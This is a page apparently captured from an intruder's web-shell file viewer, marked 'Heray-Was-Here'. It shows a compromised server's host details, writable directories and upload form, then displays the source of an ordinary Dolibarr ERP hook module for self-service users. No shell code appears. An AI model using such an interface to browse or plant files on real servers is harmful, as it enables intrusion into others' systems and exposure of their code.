Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/autogestion/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/autogestion/class/actions_autogestion.class.php
<?php
/* Copyright (C) ---Put here your own copyright and developer email---
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

/**
 * \file    htdocs/modulebuilder/template/class/actions_mymodule.class.php
 * \ingroup mymodule
 * \brief   Example hook overload.
 *
 * Put detailed description here.
 */


include_once( DOL_DOCUMENT_ROOT .'/custom/autogestion/class/autogestion.class.php');
require_once DOL_DOCUMENT_ROOT.'/custom/autogestion/class/autogestion_user.class.php';


/**
 * Class ActionsMyModule
 */
class ActionsAutogestion
{

/**
	 * @var DoliDB Database handler.
	 */
	public $db;

	/**
	 * @var string Error code (or message)
	 */
	public $error = '';

	/**
	 * @var array Errors
	 */
	public $errors = array();


	/**
	 * @var array Hook results. Propagated to $hookmanager->resArray for later reuse
	 */
	public $results = array();

	/**
	 * @var string String displayed by executeHook() immediately after return
	 */
	public $resprints;


	/**
	 * Constructor
	 *
	 *  @param		DoliDB		$db      Database handler
	 */
	public function __construct($db)
	{
		$this->db = $db;
	}


	/**
	 * Overloading the doActions function : replacing the parent's function with the one below
	 *
	 * @param   array()         $parameters     Hook metadatas (context, etc...)
	 * @param   CommonObject    &$object        The object to process (an invoice if you are in invoice module, a propale in propale's module, etc...)
	 * @param   string          &$action        Current action (if set). Generally create or edit or null
	 * @param   HookManager     $hookmanager    Hook manager propagated to allow calling another hook
	 * @return  int                             < 0 on error, 0 on success, 1 to replace standard code
	 */
	function doActions($parameters, &$object, &$action, $hookmanager)
	{
		global $db, $conf, $user, $langs;

		$error = 0; // Error counter
		$context = explode(':', $parameters['context']);

		/* print_r($parameters); print_r($object); echo "action: " . $action; */
		if (in_array('contactcard', $context)) { // do something only for the context 'somecontext1' or 'somecontext2'
			if ($user->rights->autogestion->admin){
				$id = GETPOST('id', 'int');
				$userid = GETPOST('userid', 'int');
				$confirm = GETPOST('confirm', 'alpha');
				if ($action == 'create_subuser') {
					require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php';

					$form = new Form($db);
					// Full firstname and lastname separated with a dot : firstname.lastname
					include_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php';
					$login = dol_buildlogin($object->lastname, $object->firstname);
		
					$generated_password = '';
					if (!$ldap_sid) { // TODO ldap_sid ?
						require_once DOL_DOCUMENT_ROOT.'/core/lib/security2.lib.php';
						$generated_password = getRandomPassword(false);
					}
					$password = $generated_password;
		
					// Create a form array
					$formquestion = array(
						array('label' => $langs->trans("LoginToCreate"), 'type' => 'text', 'name' => 'login', 'value' => $login),
						array('label' => $langs->trans("Password"), 'type' => 'text', 'name' => 'password', 'value' => $password),
						//array('label' => $form->textwithpicto($langs->trans("Type"),$langs->trans("InternalExternalDesc")), 'type' => 'select', 'name' => 'intern', 'default' => 1, 'values' => array(0=>$langs->trans('Internal'),1=>$langs->trans('External')))
					);
					$text = $langs->trans("ConfirmCreateContact").'<br>';
					if (!empty($conf->societe->enabled)) {
						if ($object->socid > 0) {
							$text .= $langs->trans("UserWillBeExternalUser");
						} else {
							$text .= $langs->trans("UserWillBeInternalUser");
						}
					}
					print $form->formconfirm($_SERVER["PHP_SELF"]."?id=".$object->id, $langs->trans("CreateDolibarrLogin"), $text, "confirm_create_subuser", $formquestion, 'yes');
				}
				if ($action == 'confirm_create_subuser' && $confirm == 'yes' && $user->rights->user->user_advance->write) {
					// Recuperation contact actuel
					$result = $object->fetch($id);

					if ($result > 0) {
						require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php';

						$db->begin();
						// Creation user
						$nuser = new User($db);
						$result = $nuser->create_from_contact($object, GETPOST("login")); // Do not use GETPOST(alpha)
						if ($result > 0) {
							$result2 = $nuser->setPassword($user, GETPOST("password"), 0, 0, 1); // Do not use GETPOST(alpha)
							if ($result2) {
								$nuser->fk_user = $user->id;
								$nuser->fk_warehouse = $user->fk_warehouse;
								if (!empty($conf->global->AUTOGESTION_DEFAULT_GROUP)) {
									$nuser->SetInGroup($conf->global->AUTOGESTION_DEFAULT_GROUP, $conf->entity);
								} else {
									setEventMessages($langs->trans("Error grupo predeterminado no definido."), null, 'errors');
									$db->rollback();
								}
								$nuser->update($user);
								$agu = new AutoGestionUser($db);
								$agu->fk_userid = $nuser->id;
								$agu->fk_soc = $object->socid;
								$agu->fk_contact = $object->id;
								$response = $agu->create($user);
								if ($response) {
									$db->commit();
								} else {
									$error = $agu->error; $errors = $agu->errors;
									$db->rollback();
								}
							} else {
								$error = $nuser->error; $errors = $nuser->errors;
								$db->rollback();
							}
						} else {
							$error = $nuser->error; $errors = $nuser->errors;
							$db->rollback();
						}
					} else {
						$error = $object->error; $errors = $object->errors;
					}
				}
				if ($action == 'enable_subuser'  && $userid == $object->user_id ) {
					require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php';
					require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php';
					$form = new Form($db);
					
					$dolibarr_user = new User($db);
					$result = $dolibarr_user->fetch($object->user_id);
					print $form->formconfirm($_SERVER['PHP_SELF']."?id=".$object->id."&userid=".$dolibarr_user->id, $langs->trans("EnableAUser"), $langs->trans("ConfirmEnableUser", $object->login), "confirm_enable_subuser", '', 'yes');
				}
				if ($action == 'confirm_enable_subuser' && $confirm == "yes" ) {
					if ($userid == $object->user_id) {		// A user can't disable itself
						require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php';
						$dolibarr_user = new User($db);
						$result = $dolibarr_user->fetch($object->user_id);

						if (!empty($conf->file->main_limit_users)) {
							$nb = $object->getNbOfUsers("active");
							if ($nb >= $conf->file->main_limit_users) {
								$error++;
								setEventMessages($langs->trans("YourQuotaOfUsersIsReached"), null, 'errors');
							}
						}
						if (!$error) {
							$dolibarr_user->setstatus(1);
						}
					}
				}
				if ($action == 'disable_subuser'  && $userid == $object->user_id ) {
					require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php';
					require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php';
					$form = new Form($db);
					
					$dolibarr_user = new User($db);
					$result = $dolibarr_user->fetch($object->user_id);
					print $form->formconfirm($_SERVER['PHP_SELF']."?id=".$object->id."&userid=".$dolibarr_user->id, $langs->trans("DisableAUser"), $langs->trans("ConfirmDisableUser", $dolibarr_user->login), "confirm_disable_subuser", '', 'yes');
				}
				if ($action == 'confirm_disable_subuser' && $confirm == "yes" ) {
					if ($userid == $object->user_id) {		// A user can't disable itself
						require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php';
						$dolibarr_user = new User($db);
						$result = $dolibarr_user->fetch($object->user_id);
						$dolibarr_user->setstatus(0);
					}
				}
				if ($action == 'passwordsend'  && $userid == $object->user_id ) {
					require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php';
					require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php';
					$form = new Form($db);
					
					$dolibarr_user = new User($db);
					$result = $dolibarr_user->fetch($object->user_id);
					print $form->formconfirm($_SERVER['PHP_SELF']."?id=".$object->id."&userid=".$dolibarr_user->id, $langs->trans("SendNewPassword"), $langs->trans("ConfirmSendNewPassword", $object->login), "confirm_passwordsend_subuser", '', 'yes');
				}
				if ($action == 'confirm_passwordsend_subuser' && $confirm == "yes" ) {
					if ($userid == $object->user_id) {		// A user can't disable itself
						require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php';
						$dolibarr_user = new User($db);
						$result = $dolibarr_user->fetch($object->user_id);
						$newpassword = $dolibarr_user->setPassword($user, '');	// This will generate a new password
						if ($newpassword < 0) {
							// Echec
							setEventMessages($langs->trans("ErrorFailedToSetNewPassword"), null, 'errors');
						} else {
							// Succes
							if ($dolibarr_user->send_password($user, $newpassword) > 0) {
								setEventMessages($langs->trans("PasswordChangedAndSentTo", $dolibarr_user->email), null, 'mesgs');
							} else {
								setEventMessages($dolibarr_user->error, $dolibarr_user->errors, 'errors');
								$error++;
							}
						}
					}
				}
			}
		}
		if (in_array('productcard', $context)) {	    // do something only for the context 'somecontext1' or 'somecontext2'
			if ( ( !empty($user->socid) &&  !is_null($object->id) ) ){
				$prod = new Product($db);
				$prod->fetch($object->id);
				if ($prod->array_options['options_proveedor'] != $user->socid ) {
					$error =999;
					setEventMessages('Producto no autorizado.', $hookmanager->errors, 'errors');
					$url = 'list.php';
					header("Location: ".$url);
					exit;
				}

			}
		}

		if (in_array('globalcard', $context)) {     // do something only for the context 'somecontext1' or 'somecontext2'
			if ( ($user->rights->autogestion->adminprov || $user->rights->autogestion->userprov) && ( !$user->employee && !$user->admin ) ){
				?>
				<script type="text/javascript">
					function readyFnaremove( jQuery ) {
						var elem = document.getElementById('customer');
						if ( elem !== null){
							elem.parentNode.removeChild(elem);
						}
					}
					window.addEventListener("load",function(event) {
						readyFnaremove();
					},false);
				</script>
			<?php
			}
		}
		
		if ( (in_array( 'propalcard', $context)) || (in_array( 'ordercard', $context))) { 
			if ( ($user->rights->autogestion->admin || $user->rights->autogestion->user) && ( !$user->employee && !$user->admin ) ){
				?>
					<script type="text/javascript">
						function readyFn( jQuery ) {
							var elem = document.getElementById('cond_reglement_id');
							if ( elem !== null){
								$(elem).closest('tr').hide();
							}
							var elem = document.getElementById('warehouse_id');
							if ( elem !== null){
								$(elem).closest('tr').hide();
							}
							var elem = document.getElementById('selectmode_reglement_id');
							if ( elem !== null){
								$(elem).closest('tr').hide();
							}
							var elem = document.getElementById('select_demand_reason_id');
							if ( elem !== null){
								$(elem).closest('tr').hide();
							}
							var elem = document.getElementById('availability_id');
							if ( elem !== null){
								$(elem).closest('tr').hide();
							}
							var elem = document.getElementById('selectshipping_method_id');
							if ( elem !== null){
								$(elem).closest('tr').hide();
							}
							var elem = document.getElementById('multicurrency_code');
							if ( elem !== null){
								$(elem).closest('tr').hide();
							}
							var elem = document.getElementsByName('multicurrency_tx')[0];
							if ( elem !== null){
								$(elem).prop('readonly', true);
								$(elem).hide();
							}
							$(function() {
								$("td:contains('Tasa de conversión de moneda')").closest('tr').hide();
							});
							var elem = document.getElementsByName('calculation_mode')[0];
							if ( elem !== null){
								$(elem).hide();
							}
							var elem = document.getElementById('date_livraisonday');
							if ( elem !== null){
								$(elem).closest('tr').hide();
							}
							var elem = document.getElementById('model');
							if ( elem !== null){
								$(elem).closest('tr').hide();
							}
							var elem = document.getElementById('price_ht');
							if ( elem !== null){
								$(elem).prop('readonly', true);
							}
							var elem = document.getElementById('multicurrency_subprice');
							if ( elem !== null){
								$(elem).prop('readonly', true);
							}
							var elem = document.getElementById('multicurrency_price_ht');
							if ( elem !== null){
								$(elem).prop('readonly', true);
							}
						}
						window.onload = function() {
							readyFn();
						};
					</script>
				<?php
			}
		}
		if ((in_array( 'ordercard', $context))){
			if ($action == 'validate') {
				if ( $user->rights->autogestion->user){
					require_once DOL_DOCUMENT_ROOT.'/custom/autogestion/class/autogestion_user.class.php';
					$agu = new AutoGestionUser($db);
					$response = $agu->fetch(null,null, ' AND fk_userid = '.$user->id);
					if ($response){
						if (!empty( $agu->require_valid) || !empty( $agu->budget) ) {
							if (!empty( $agu->budget)){
								$presupuesto = $agu->budget;
								$fechaini = date("Y-m-01");
								$fechafin = date("Y-m-t");
								$sql = 'SELECT count(rowid) cantidad, NVL(sum(total_ttc),0) consumido';
								$sql .= ' FROM '.MAIN_DB_PREFIX.'commande as c';
								$sql .= ' WHERE c.fk_user_author = '.$user->id.' AND c.date_valid between '.$fechaini .' AND ' . $fechaini.'  ';
								$result = $this->db->query($sql);
								if ($result){
									if ($this->db->num_rows($result)){
										$obj = $this->db->fetch_object($result);
										if ( ($obj->consumido+$object->total_ttc) > $presupuesto ) {
											$action = null;
											$errors = 'Presupuesto Insuficiente, disponible: '. ($presupuesto - $obj->consumido);
											$error ++;
											
										}
									}
								}
							}elseif(!empty( $agu->require_valid)){
								$action = null;
								$errors = ' El pedido requiere autorizacion del supervisor. ';
								$object->array_options['options_req_aut'] =1;
								$object->updateExtraField('options_req_aut');
								$object->update( $user);
								$error ++;
							}
						}
					} 
				}
				if ( $user->rights->autogestion->admin){

				}
			}
		}
		if (!$error) {
			//$this->results = array('myreturn' => 999);
			//$this->resprints = 'A text to show';
			return 0; // or return 1 to replace standard code
		} else {
			$this->errors[] = $errors;
			return -1;
		}
	}
	/**
	 * Overloading the addMoreActionsButtons function : replacing the parent's function with the one below
	 *
	 * @param   array           $parameters     Hook metadatas (context, etc...)
	 * @param   CommonObject    $object         The object to process (an invoice if you are in invoice module, a propale in propale's module, etc...)
	 * @param   string          $action         Current action (if set). Generally create or edit or null
	 * @param   HookManager     $hookmanager    Hook manager propagated to allow calling another hook
	 * @return  int                             < 0 on error, 0 on success, 1 to replace standard code
	 */
	public function addMoreActionsButtons($parameters, &$object, &$action, $hookmanager)
	{
		global $db, $conf, $user, $langs;
		$error = 0; // Error counter
		/* print_r($parameters); print_r($object); echo "action: " . $action; */
		$context = explode(':', $parameters['context']);
		if (in_array('contactcard', $context)) {
			if ( $user->rights->user->user_advance->write && !$user->admin ){
				if ($user->rights->autogestion->admin && !$object->user_id){
					print '<a class="butAction" href="'.$_SERVER["PHP_SELF"].'?id='.$object->id.'&amp;action=create_subuser">'.$langs->trans('CreateDolibarrLogin').'</a>';
				}elseif($user->rights->autogestion->admin && $object->user_id){
					require_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php';
					$dolibarr_user = new User($db);
					$result = $dolibarr_user->fetch($object->user_id);
					if ($dolibarr_user->statut == 1){
						print '<div class="inline-block divButAction"><a class="butActionDelete" href="'.$_SERVER['PHP_SELF'].'?action=disable_subuser&id='.$object->id.'&userid='.$object->user_id.'&token='.newToken().'">'.$langs->trans("DisableUser").' '.$langs->trans("User").'</a></div>';
						if ($dolibarr_user->email) {
							print '<div class="inline-block divButAction"><a class="butAction" href="'.$_SERVER['PHP_SELF'].'?id='.$object->id.'&userid='.$object->user_id.'&amp;action=passwordsend">'.$langs->trans("SendNewPassword").'</a></div>';
						}
					}else{
						print '<div class="inline-block divButAction"><a class="butAction" href="'.$_SERVER['PHP_SELF'].'?id='.$object->id.'&userid='.$object->user_id.'&action=enable_subuser&token='.newToken().'">'.$langs->trans("Reactivate").' '.$langs->trans("User").'</a></div>';
					}
				}
			}
		}


		// if (!$error) {
		// 	$this->results = array('myreturn' => 999);
		// 	$this->resprints = 'A text to show';
		// 	return 0; // or return 1 to replace standard code
		// } else {
		// 	$this->errors[] = 'Error message';
		// 	return -1;
		// }
	}

	 /**
     * Overloading the stockforwork function : replacing the parent's function with the one below
     *
     * @param   array()         $parameters     Hook metadatas (context, etc...)
     * @param   CommonObject    &$object        The object to process (an invoice if you are in invoice module, a propale in propale's module, etc...)
     * @param   string          &$action        Current action (if set). Generally create or edit or null
     * @param   HookManager     $hookmanager    Hook manager propagated to allow calling another hook
     * @return  int                             < 0 on error, 0 on success, 1 to replace standard code
     */
    public function stockforwork($parameters, &$object, &$action, $hookmanager)
    {
		global $db, $conf, $user, $langs;
		$error = 0; // Error counter
		$context = explode(':', $parameters['context']);
		if ( ($user->rights->autogestion->admin || $user->rights->autogestion->user) && ( !$user->employee && !$user->admin ) ){
			if ((in_array( 'orderdao', $context))){
					require_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php';
					$soc_origin = new Societe($db);
					$resp = $soc_origin->fetch( $user->socid);
					if ($resp){
						if (!empty( $soc_origin->array_options['options_allow_backorders'] )) {
							$this->results = array('workstock' =>  $parameters['required']);
						}
					}
				return 1; // or return 1 to replace standard code
			}else{
				return 0; // or return 1 to replace standard code
			}
		}
		if (!$error) {
			// $this->results = array('myreturn' => 999);
			// $this->resprints = 'A text to show';
			return 0; // or return 1 to replace standard code
		} else {
			$this->errors[] = 'Ocurrio un error en ActionsAutogestion::stockforwork';
			return -1;
		}
    }

	 /**
     * Overloading the menuLeftMenuItems function : replacing the parent's function with the one below
     *
     * @param   array()         $parameters     Hook metadatas (context, etc...)
     * @param   CommonObject    &$hook_items        The hook_items to process (an invoice if you are in invoice module, a propale in propale's module, etc...)
     * @param   string          &$action        Current action (if set). Generally create or edit or null
     * @param   HookManager     $hookmanager    Hook manager propagated to allow calling another hook
     * @return  int                             < 0 on error, 0 on success, 1 to replace standard code
     */
    function menuLeftMenuItems($parameters, &$hook_items, &$action, $hookmanager)
    {	
		global $db, $conf, $user, $langs;

		$error = 0; // Error counter
		$mainmenu = explode(':', $parameters['mainmenu']);
		if ((in_array( 'commercial', $mainmenu))){
			if (!empty($conf->autogestion->enabled)) {
				$i =0;
				foreach (  $hook_items as $menu => $submenu ){
					if ( $submenu['url']  == '/commande/list.php?leftmenu=orders&search_status=1') {
						$submenu['url'] = '/commande/list.php?leftmenu=orders&search_status=1&search_shippable=1';
						$hook_items[$i] = $submenu;
						$newoption[] = array(
							"url" => "/commande/list.php?leftmenu=orders&search_status=1&search_shippable=2",
							"titre" => "Backorder",
							"level" => 2,
							"enabled" => 1,
							"target" =>"",
							"mainmenu" => "",
							"leftmenu" => "",
							"position" =>0,
							"id" => "",
							"idsel" => "",
							"classname" => "",
							"prefix" => ""
						) ;
						array_splice( $hook_items, $i+1, 0, $newoption );
					}
					$i++;
				}
			}
			//echo '<pre>';var_dump( $hook_items);die;
			$hookmanager->results = $hook_items;
			return 1; // or return 1 to replace standard code
		}elseif ((in_array( 'products', $mainmenu))){
			if (!empty($conf->autogestion->enabled)) {
				$i =0;
				foreach (  $hook_items as $menu => $submenu ){
					if ( $submenu['url']  == '/product/stock/replenish.php') {
						$newoption[] = array(
							"url" => "/custom/autogestion/backorder.php",
							"titre" => "Backorder",
							"level" => 1,
							"enabled" => 1,
							"target" =>"",
							"mainmenu" => "",
							"leftmenu" => "",
							"position" =>0,
							"id" => "",
							"idsel" => "",
							"classname" => "",
							"prefix" => ""
						) ;
						array_splice( $hook_items, $i+1, 0, $newoption );
					}
					$i++;
				}
			}
			//echo '<pre>';var_dump( $hook_items);die;
			$hookmanager->results = $hook_items;
			return 1; // or return 1 to replace standard code
		}{
			return 0; // or return 1 to replace standard code
		}
    }

	 /**
     * Overloading the formAddObjectLine function : replacing the parent's function with the one below
     *
     * @param   array()         $parameters     Hook metadatas (context, etc...)
     * @param   CommonObject    &$object        The object to process (an invoice if you are in invoice module, a propale in propale's module, etc...)
     * @param   string          &$action        Current action (if set). Generally create or edit or null
     * @param   HookManager     $hookmanager    Hook manager propagated to allow calling another hook
     * @return  int                             < 0 on error, 0 on success, 1 to replace standard code
     */
    function formAddObjectLine($parameters, &$object, &$action, $hookmanager)
    {
      // var_dump($parameters['currentcontext']);
	//   die;

        return 0; // or return 1 to replace standard code
    }

    /**
     * Overloading the printFieldListWhere function : replacing the parent's function with the one below
     *
     * @param   array           $parameters     Hook metadatas (context, etc...)
     * @param   CommonObject    &$object        The object to process (an invoice if you are in invoice module, a propale in propale's module, etc...)
     * @param   string          &$action        Current action (if set). Generally create or edit or null
     * @param   HookManager     $hookmanager    Hook manager propagated to allow calling another hook
     * @return  int             < 0 on error, 0 on success, 1 to replace standard code
     */
    function printFieldListWhere($parameters, &$object, &$action, $hookmanager)
    {
		global $user;
        $context = explode(':', $parameters['context']);
		if (in_array('main', $context) && (  count( $context ) == 1 )  ) {
			if ( $user->rights->autogestion->user && !$user->rights->autogestion->admin ) {
            	$out = ' AND p.rowid in (SELECT fk_product FROM '.MAIN_DB_PREFIX.'autogestion_product WHERE fk_userid = '. $user->id.' )';
                $this->resprints = $out;
            }
		}
        if ((in_array('propallist', $context)) ) {
            if ( $user->rights->autogestion->user && !$user->rights->autogestion->admin ) {
            	$out = ' AND ( p.fk_user_author = '. $user->id .' OR ';
				$out .= ' p.rowid IN ( SELECT ecx.element_id FROM '.MAIN_DB_PREFIX.'element_contact ecx INNER JOIN  '.MAIN_DB_PREFIX;
				$out .= 'c_type_contact tcx on (tcx.element="propal" and  ecx.fk_c_type_contact = tcx.rowid ) WHERE ecx.fk_socpeople = '. $user->contact_id .') )';
                $this->resprints = $out;
            }
        }
        if ( (in_array('orderlist', $context))) {
            if ( $user->rights->autogestion->user && !$user->rights->autogestion->admin ) {
            	$out = ' AND ( c.fk_user_author = '. $user->id .' OR ';
				$out .= ' c.rowid IN ( SELECT ecx.element_id FROM '.MAIN_DB_PREFIX.'element_contact ecx INNER JOIN  '.MAIN_DB_PREFIX;
				$out .= 'c_type_contact tcx on (tcx.element="commande" and  ecx.fk_c_type_contact = tcx.rowid ) WHERE ecx.fk_socpeople = '. $user->contact_id .') )';
               
            }
			if ( GETPOST('search_shippable', 'aZ09') ){
				$search_shippable = GETPOST('search_shippable', 'aZ09');
				if ( $search_shippable == 1){
					$out = ' AND c.rowid IN ( SELECT c.rowid FROM '.MAIN_DB_PREFIX.'commande c ';
					$out .= ' INNER JOIN '.MAIN_DB_PREFIX.'commandedet cd ON ( c.rowid = cd.fk_commande )';
					$out .= ' WHERE c.entity IN ('.getEntity('commande').') AND c.fk_statut = 1 AND cd.qty < (SELECT nvl(sum( ps.reel),0) FROM '.MAIN_DB_PREFIX.'product_stock ps ';
					$out .= ', '.MAIN_DB_PREFIX.'entrepot as w';
					$out .= ' WHERE w.entity IN ('.getEntity('stock').')';
					$out .= ' AND w.rowid = ps.fk_entrepot AND cd.fk_product = ps.fk_product ';
					if (!empty($user->fk_warehouse)) {
						$sql .= ' AND w.rowid ='. (int) $user->fk_warehouse;
					}
					$out .= '))' ;
				}elseif ( $search_shippable == 2){
					$out = ' AND c.rowid IN ( SELECT c.rowid FROM '.MAIN_DB_PREFIX.'commande c ';
					$out .= ' INNER JOIN '.MAIN_DB_PREFIX.'commandedet cd ON ( c.rowid = cd.fk_commande )';
					$out .= ' WHERE c.entity IN ('.getEntity('commande').') AND c.fk_statut = 1 AND cd.qty > (SELECT nvl(sum( ps.reel),0) FROM '.MAIN_DB_PREFIX.'product_stock ps ';
					$out .= ', '.MAIN_DB_PREFIX.'entrepot as w';
					$out .= ' WHERE w.entity IN ('.getEntity('stock').')';
					$out .= ' AND w.rowid = ps.fk_entrepot AND cd.fk_product = ps.fk_product ';
					if (!empty($user->fk_warehouse)) {
						$sql .= ' AND w.rowid ='. (int) $user->fk_warehouse;
					}
					$out .= '))' ;
				}
			}
			$this->resprints = $out;
        }
        if ((in_array('invoicelist', $context))) {
            if ( $user->socid>0 && $user->rights->autogestion->user && !$user->rights->autogestion->admin ) {
            	$out = ' AND ( f.fk_user_author = '. $user->id .' OR ';
				$out .= ' f.rowid IN ( SELECT ecx.element_id FROM '.MAIN_DB_PREFIX.'element_contact ecx INNER JOIN  '.MAIN_DB_PREFIX;
				$out .= 'c_type_contact tcx on (tcx.element="facture" and  ecx.fk_c_type_contact = tcx.rowid ) WHERE ecx.fk_socpeople = '. $user->contact_id .') )';
                $this->resprints = $out;
            }
        }
		if ((in_array('shipmentlist', $context))) {
            if ( $user->rights->autogestion->user && !$user->rights->autogestion->admin ) {
            	$out = ' AND ( e.fk_user_author = '. $user->id .' OR ';
				$out .= ' e.rowid IN ( SELECT fk_target FROM '.MAIN_DB_PREFIX.'element_element WHERE sourcetype = "commande" and fk_source IN ( SELECT ecx.element_id FROM '.MAIN_DB_PREFIX.'element_contact ecx INNER JOIN  '.MAIN_DB_PREFIX;
				$out .= 'c_type_contact tcx on (tcx.code="SHIPPING" and  ecx.fk_c_type_contact = tcx.rowid ) WHERE ecx.fk_socpeople = '. $user->contact_id .') ) )';
                $this->resprints = $out;
            }
        }
        if (in_array('productservicelist', $context)) {
			if (!empty($user->socid)){
				$out = ' AND ef.proveedor = '. $user->socid.' ';
				$this->resprints = $out;
			}
        }
		if (in_array('supplierorderlist', $context)) {
			if ( ($user->rights->autogestion->admin || $user->rights->autogestion->user ) &&  $user->contact_id ) {
				$out = ' AND ( s.rowid = '.((int) $user->socid) .' OR  cf.fk_user_author = '. $user->id .' OR ';
				$out .= ' cf.rowid IN ( SELECT ecx.element_id FROM '.MAIN_DB_PREFIX.'element_contact ecx INNER JOIN  '.MAIN_DB_PREFIX;
				$out .= 'c_type_contact tcx on (tcx.element="order_supplier" and  ecx.fk_c_type_contact = tcx.rowid ) WHERE ecx.fk_socpeople = '. $user->contact_id .') )';
                $this->resprints = $out;
            }
        }
		if (in_array('productindex', $context)) {
			if (!empty($user->socid)){
				$out = ' AND p.rowid in ( SELECT ef.fk_object FROM '.MAIN_DB_PREFIX.'product_extrafields ef WHERE ef.proveedor = '. $user->socid.' )';
				$this->resprints = $out;
			}
        }
		if (in_array('ordersuppliercard', $context)) {
			
        }
		if (in_array('ticketlist', $context) || in_array('thirdpartyticket', $context)) {
            if ( $user->rights->autogestion->user && !$user->rights->autogestion->admin ) {
            	$out = ' AND t.fk_user_create = '. $user->id.' ';
                $this->resprints = $out;
            }
        }
		
        return 0;
    }

    /**
     * Overloading the afterSelectContactOptions function : replacing the parent's function with the one below
     *
     * @param   array           $parameters     Hook metadatas (context, etc...)
     * @param   CommonObject    &$object        The object to process (an invoice if you are in invoice module, a propale in propale's module, etc...)
     * @param   string          &$action        Current action (if set). Generally create or edit or null
     * @param   HookManager     $hookmanager    Hook manager propagated to allow calling another hook
     * @return  int             < 0 on error, 0 on success, 1 to replace standard code
     */
    function afterSelectContactOptions($parameters, &$object, &$action, $hookmanager)
    {
		global $user;
        $context = explode(':', $parameters['context']);

        if (in_array('globalcard', $context)) {
            if (!$user->rights->autogestion->admin && $user->rights->autogestion->user ){
				$parameters['out'] = $user->firstname .' '. $user->lastname;
			}
        }
        return 0;
    }


    /**
     * Overloading the addSQLWhereFilterOnSelectUsers function : replacing the parent's function with the one below
     *
     * @param   array           $parameters     Hook metadatas (context, etc...)
     * @param   CommonObject    &$object        The object to process (an invoice if you are in invoice module, a propale in propale's module, etc...)
     * @param   string          &$action        Current action (if set). Generally create or edit or null
     * @param   HookManager     $hookmanager    Hook manager propagated to allow calling another hook
     * @return  int             < 0 on error, 0 on success, 1 to replace standard code
     */
    function addSQLWhereFilterOnSelectUsers($parameters, &$object, &$action, $hookmanager)
    {
		global $user;
        $context = explode(':', $parameters['context']);

        if (in_array('ticketcard', $context)) {
            if ($user->rights->autogestion->admin || $user->rights->autogestion->user ){
				$this->resprints = " or u.rowid in (SELECT fk_user from ".MAIN_DB_PREFIX."societe_commerciaux  WHERE fk_soc = ".((int) $user->socid).") ";
				return 1;
			}
        }
        return 0;
    }

	/**
	 * Overloading the restrictedArea function : check permission on an object
	 *
	 * @param   array           $parameters     Hook metadatas (context, etc...)
	 * @param   string          $action         Current action (if set). Generally create or edit or null
	 * @param   HookManager     $hookmanager    Hook manager propagated to allow calling another hook
	 * @return  int 		      			  	<0 if KO,
	 *                          				=0 if OK but we want to process standard actions too,
	 *  	                            		>0 if OK and we want to replace standard actions.
	 */
	public function restrictedArea($parameters, &$action, $hookmanager)
	{
		global $db, $user;
		$context = explode(':', $parameters['context']);

		if (in_array('ordersuppliercard', $context)) {
			$object = new CommandeFournisseur($db);
			$object->fetch($parameters['objectid']);
			if ($object->user_author_id == $user->id || $object->socid == $user->socid  ){
				return 1;
			}else{
				return 0;
			}

		}
		if ($parameters['features'] == 'propal') {
			if (!$user->rights->autogestion->admin && $user->rights->autogestion->user ){
				require_once DOL_DOCUMENT_ROOT.'/custom/autogestion/class/autogestion_user.class.php';
				$agu = new AutoGestionUser($db);
				$agu->fetch(null,null, ' AND fk_userid = '.$user->id);
				if ( !empty($agu->mod_propal) ) {
					$this->results['result'] = 1;
					return 1;
				} else {
					$this->results['result'] = 0;
					return 1;
				}
			}
		}
		if ($parameters['features'] == 'commande') {
			if (!$user->rights->autogestion->admin && $user->rights->autogestion->user ){
				require_once DOL_DOCUMENT_ROOT.'/custom/autogestion/class/autogestion_user.class.php';
				$agu = new AutoGestionUser($db);
				$agu->fetch(null,null, ' AND fk_userid = '.$user->id);
				if ( !empty($agu->mod_commande) ) {
					$this->results['result'] = 1;
					return 1;
				} else {
					$this->results['result'] = 0;
					return 1;
				}
			}
		}
		return 0;
	}

}

Hry